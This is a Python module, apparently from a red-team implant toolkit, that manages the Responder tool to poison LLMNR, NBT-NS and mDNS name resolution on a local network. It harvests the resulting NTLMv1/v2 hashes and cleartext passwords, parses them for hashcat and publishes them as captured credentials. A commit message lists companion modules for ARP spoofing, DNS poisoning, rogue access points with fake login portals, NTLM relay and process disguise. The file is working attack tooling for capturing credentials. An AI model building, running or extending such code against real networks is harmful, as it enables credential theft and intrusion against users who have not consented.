Files
bigbrother/modules/active/responder_mgr.py
T
n0mad1k ba5143b560 Phase 4: Active modules, templates, and operator scripts
Active modules (9 files in modules/active/):
- bettercap_mgr: Central bettercap orchestrator with REST API health
  monitoring, event stream parsing, crash recovery with corrective
  gratuitous ARPs, caplet management, and process disguise
- arp_spoof: Thin bettercap wrapper for ARP spoofing with OPSEC warnings
- dns_poison: DNS poisoning with zone template loading support
- dhcp_spoof: DHCPv6 spoofing via bettercap for rogue DNS injection
- evil_twin: hostapd-based rogue AP with captive portal and dnsmasq,
  iptables redirect, credential capture via HTTP POST handler
- ipv6_slaac: IPv6 SLAAC spoofing via bettercap + mitm6 WPAD abuse
- responder_mgr: Responder subprocess manager with hash file monitoring,
  NTLMv1/v2 parsing, session log scanning, relay target coordination
- mitmproxy_mgr: Transparent proxy with addon scripts, tier checking
  (OPi Zero 3+ only), iptables setup, credential/token extraction
- ntlm_relay: ntlmrelayx wrapper with multi-protocol relay (SMB, LDAP,
  LDAPS, HTTP, MSSQL, ADCS), Responder exclusion coordination, SOCKS

Templates (9 files):
- 4 captive portals: corporate SSO, guest WiFi, Outlook/M365, VPN
  (self-contained HTML with inline CSS, realistic login forms)
- 2 DNS zones: redirect-all and selective Jinja2 template
- 2 hostapd configs: open AP and WPA2-PSK Jinja2 templates
- 1 Responder.conf Jinja2 template with protocol toggles

Operator scripts (6 files in scripts/operator/):
- pull_data.sh: rsync structured data over WireGuard/Tailscale
- extract_files.sh: tshark HTTP/SMB/FTP/TFTP file extraction
- extract_print_jobs.sh: TCP/9100 print job reconstruction + PDF convert
- extract_emails.sh: SMTP email extraction with attachment detection
- crack_hashes.sh: Export creds to hashcat format, optional auto-crack
- generate_report.py: SQLite-to-Markdown/HTML engagement report generator
2026-03-18 13:48:11 -04:00

432 lines
15 KiB
Python

#!/usr/bin/env python3
"""Responder Manager — LLMNR/NBT-NS/mDNS poisoning and hash capture.
Manages Responder as a supervised subprocess. Generates Responder.conf
from a Jinja2 template, monitors log output for captured NTLMv1/v2
hashes, and publishes CREDENTIAL_FOUND events. Coordinates with
ntlm_relay to exclude relay targets from Responder's SMB server.
Resources: ~30MB RAM, ~3% CPU
"""
import glob
import logging
import os
import re
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger("bb.active.responder_mgr")
# Regex for Responder hash log filenames
HASH_FILE_PATTERN = re.compile(
r"(HTTP|SMB|MSSQL|LDAP|FTP|POP|IMAP|SMTP)-NTLMv[12]-.*\.txt$"
)
# Regex for parsing NTLMv2 hash lines
NTLMV2_REGEX = re.compile(
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<challenge>[0-9a-fA-F]+):"
r"(?P<response>[0-9a-fA-F]+):(?P<blob>[0-9a-fA-F]+)$"
)
NTLMV1_REGEX = re.compile(
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<lm>[0-9a-fA-F]+):"
r"(?P<nt>[0-9a-fA-F]+):(?P<challenge>[0-9a-fA-F]+)$"
)
class ResponderManager(BaseModule):
"""Responder subprocess manager with hash capture monitoring.
Dependencies:
- Responder installed at /opt/tools/Responder
Configuration:
responder_path: Path to Responder directory
interface: Network interface
protocols: Dict of protocol toggles (LLMNR, NBT-NS, mDNS, etc.)
relay_targets: Set of IPs excluded from SMB auth (for ntlm_relay)
"""
name = "responder_mgr"
module_type = "active"
priority = 150
requires_root = True
HASH_POLL_INTERVAL = 10 # seconds
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._proc: Optional[subprocess.Popen] = None
self._hash_thread: Optional[threading.Thread] = None
self._responder_path = config.get("responder_path", "/opt/tools/Responder")
self._iface = config.get("interface", "eth0")
self._log_dir = os.path.join(self._responder_path, "logs")
self._captured_hashes: list = []
self._hashes_lock = threading.Lock()
self._seen_hashes: set = set() # Dedup set
self._relay_targets: set = set() # IPs excluded from SMB for relay
self._protocols = {
"LLMNR": True,
"NBT-NS": True,
"mDNS": True,
"HTTP": True,
"SMB": True,
"WPAD": True,
"FTP": False,
"POP": False,
"IMAP": False,
"SMTP": False,
"LDAP": False,
}
self._template_dir = config.get(
"template_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "responder"),
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
if not os.path.isdir(self._responder_path):
logger.error("Responder not found at %s", self._responder_path)
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("ResponderManager started (ready to launch Responder)")
def stop(self) -> None:
if not self._running:
return
self.stop_responder()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("ResponderManager stopped")
def status(self) -> dict:
proc_alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"responder_running": proc_alive,
"responder_pid": self._proc.pid if proc_alive else None,
"captured_hash_count": len(self._captured_hashes),
"interface": self._iface,
"relay_targets": list(self._relay_targets),
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "interface" in config:
self._iface = config["interface"]
if "relay_targets" in config:
self._relay_targets = set(config["relay_targets"])
if "protocols" in config:
self._protocols.update(config["protocols"])
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_responder(self, protocols: dict = None) -> bool:
"""Start Responder with configured protocols.
Args:
protocols: Optional dict overriding default protocol toggles.
Returns:
True if Responder was started.
"""
if not self._running:
logger.error("ResponderManager not started")
return False
if self._proc and self._proc.poll() is None:
logger.warning("Responder already running (pid=%d)", self._proc.pid)
return True
if protocols:
self._protocols.update(protocols)
# Generate Responder.conf from template
self._write_responder_conf()
# Build command
responder_py = os.path.join(self._responder_path, "Responder.py")
if not os.path.isfile(responder_py):
logger.error("Responder.py not found at %s", responder_py)
return False
cmd = ["python3", responder_py, "-I", self._iface, "-v"]
# Add protocol flags based on what we want DISABLED
if not self._protocols.get("WPAD"):
cmd.append("-w") # -w disables WPAD in newer Responder versions
# Responder's flags are for disabling features, not enabling them
# The .conf file controls which services are On/Off
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd=self._responder_path,
)
time.sleep(2)
if self._proc.poll() is not None:
stderr = self._proc.stderr.read().decode(errors="replace")
logger.error("Responder failed to start: %s", stderr)
return False
# Start hash file monitoring thread
self._hash_thread = threading.Thread(
target=self._hash_monitor_loop, daemon=True, name="bb-responder-hashes"
)
self._hash_thread.start()
logger.info("Responder started (pid=%d, iface=%s)", self._proc.pid, self._iface)
return True
except Exception:
logger.exception("Failed to start Responder")
return False
def stop_responder(self) -> bool:
"""Stop the Responder subprocess.
Returns:
True if Responder was stopped.
"""
if self._proc and self._proc.poll() is None:
try:
self._proc.terminate()
self._proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._proc.kill()
try:
self._proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop Responder")
return False
finally:
self._proc = None
logger.info("Responder stopped")
return True
def get_captured_hashes(self) -> list:
"""Return all captured hashes.
Returns:
List of dicts with hash details.
"""
with self._hashes_lock:
return list(self._captured_hashes)
def set_relay_targets(self, targets: set) -> None:
"""Set IPs that should be excluded from Responder's SMB server.
When coordinating with ntlm_relay, Responder should not respond
to targets that ntlmrelayx is relaying from.
Args:
targets: Set of IP addresses to exclude.
"""
self._relay_targets = set(targets)
# Regenerate config and restart if running
if self._proc and self._proc.poll() is None:
self._write_responder_conf()
logger.info("Updated relay exclusion targets: %s", targets)
# ------------------------------------------------------------------
# Responder.conf generation
# ------------------------------------------------------------------
def _write_responder_conf(self) -> None:
"""Generate Responder.conf from template or defaults."""
conf_path = os.path.join(self._responder_path, "Responder.conf")
# Try Jinja2 template first
template_path = os.path.join(self._template_dir, "Responder.conf.j2")
if os.path.isfile(template_path):
try:
from jinja2 import Template
with open(template_path, "r") as f:
tmpl = Template(f.read())
rendered = tmpl.render(
protocols=self._protocols,
relay_targets=self._relay_targets,
interface=self._iface,
)
with open(conf_path, "w") as f:
f.write(rendered)
return
except ImportError:
logger.warning("Jinja2 not available — using inline config")
except Exception:
logger.exception("Failed to render Responder.conf template")
# Fallback: write config directly
smb_on = "On" if self._protocols.get("SMB") else "Off"
http_on = "On" if self._protocols.get("HTTP") else "Off"
conf = (
"[Responder Core]\n\n"
"; Servers to start\n"
f"SQL = {'On' if self._protocols.get('SQL') else 'Off'}\n"
f"SMB = {smb_on}\n"
f"RDP = Off\n"
f"Kerberos = Off\n"
f"FTP = {'On' if self._protocols.get('FTP') else 'Off'}\n"
f"POP = {'On' if self._protocols.get('POP') else 'Off'}\n"
f"SMTP = {'On' if self._protocols.get('SMTP') else 'Off'}\n"
f"IMAP = {'On' if self._protocols.get('IMAP') else 'Off'}\n"
f"HTTP = {http_on}\n"
f"HTTPS = {http_on}\n"
f"DNS = Off\n"
f"LDAP = {'On' if self._protocols.get('LDAP') else 'Off'}\n"
f"DCERPC = Off\n"
f"WinRM = Off\n"
f"SNMP = Off\n"
f"MQTT = Off\n"
"\n"
"; Custom challenge\n"
"Challenge = Random\n"
"\n"
"; Set to On for downgrading to NTLMv1\n"
"DontRespondToNames =\n"
"\n"
)
with open(conf_path, "w") as f:
f.write(conf)
# ------------------------------------------------------------------
# Hash capture monitoring
# ------------------------------------------------------------------
def _hash_monitor_loop(self) -> None:
"""Monitor Responder log directory for new hash files."""
while self._running and self._proc and self._proc.poll() is None:
time.sleep(self.HASH_POLL_INTERVAL)
try:
self._scan_hash_files()
self._scan_session_log()
except Exception:
logger.exception("Hash monitor error")
def _scan_hash_files(self) -> None:
"""Scan Responder logs/ for NTLMv1/v2 hash files."""
if not os.path.isdir(self._log_dir):
return
for filepath in glob.glob(os.path.join(self._log_dir, "*-NTLMv*.txt")):
try:
with open(filepath, "r") as f:
for line in f:
line = line.strip()
if not line or line in self._seen_hashes:
continue
self._seen_hashes.add(line)
self._process_hash_line(line, filepath)
except Exception:
pass
def _scan_session_log(self) -> None:
"""Scan Responder-Session.log for cleartext credentials."""
session_log = os.path.join(self._log_dir, "Responder-Session.log")
if not os.path.isfile(session_log):
return
try:
with open(session_log, "r") as f:
for line in f:
line = line.strip()
if not line or line in self._seen_hashes:
continue
# Look for cleartext credential lines
if "Cleartext" in line or "Password" in line:
self._seen_hashes.add(line)
self._process_cleartext_line(line)
except Exception:
pass
def _process_hash_line(self, line: str, source_file: str) -> None:
"""Parse an NTLM hash line and emit CREDENTIAL_FOUND."""
# Determine hash type from filename
hash_type = "ntlmv2"
hashcat_mode = 5600
if "NTLMv1" in source_file:
hash_type = "ntlmv1"
hashcat_mode = 5500
# Parse username and domain
match = NTLMV2_REGEX.match(line)
if not match:
match = NTLMV1_REGEX.match(line)
if match:
username = match.group("username")
domain = match.group("domain")
else:
username = line.split("::")[0] if "::" in line else "unknown"
domain = ""
hash_entry = {
"timestamp": time.time(),
"username": username,
"domain": domain,
"hash_type": hash_type,
"hashcat_mode": hashcat_mode,
"hash_value": line,
"source_file": source_file,
}
with self._hashes_lock:
self._captured_hashes.append(hash_entry)
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"source_ip": "",
"target_service": "responder",
"username": username,
"domain": domain,
"credential_type": hash_type,
"credential_value": line,
"hashcat_mode": hashcat_mode,
},
source_module=self.name,
)
logger.info("Hash captured: %s\\%s (%s)", domain, username, hash_type)
def _process_cleartext_line(self, line: str) -> None:
"""Process a cleartext credential line from Responder session log."""
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"target_service": "responder_cleartext",
"credential_type": "cleartext",
"credential_value": line,
},
source_module=self.name,
)